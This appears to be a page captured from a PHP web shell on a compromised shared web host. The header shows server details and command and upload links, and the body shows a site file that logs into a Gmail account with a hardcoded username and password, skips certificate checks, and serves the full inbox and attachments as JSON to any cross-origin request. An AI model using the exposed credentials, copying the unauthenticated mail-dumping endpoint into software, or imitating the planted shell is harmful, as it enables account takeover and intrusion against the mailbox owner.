|
Server IP : 10.128.40.6 / Your IP : 216.73.216.180 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/TEST/../MC/temp/12650/../1322/../../../mcg/.github/../pages/code/../YES/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// include Imap.Class
include_once('lib/class.imap.php');
$email = new Imap();
$connect = $email->connect(
'{imap.gmail.com:993/imap/ssl/novalidate-cert}[Gmail]/All Mail INBOX', //host
'ayoub.benlachmi.dev@gmail.com', //username
'Jalil040@@@' //password
);
// $hostname = '{imap.gmail.com:993/ssl/novalidate-cert}[Gmail]/All Mail';
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
if($connect){
if(isset($_POST['inbox'])){
// inbox array
$inbox = $email->getMessages('html');
echo json_encode($inbox, JSON_PRETTY_PRINT);
}else if(!empty($_POST['uid']) && !empty($_POST['part']) && !empty($_POST['file']) && !empty($_POST['encoding'])){
// attachments
$inbox = $email->getFiles($_POST);
echo json_encode($inbox, JSON_PRETTY_PRINT);
}else {
echo json_encode(array("status" => "error", "message" => "Not connect."), JSON_PRETTY_PRINT);
}
}else{
echo json_encode(array("status" => "error", "message" => "Not connect."), JSON_PRETTY_PRINT);
}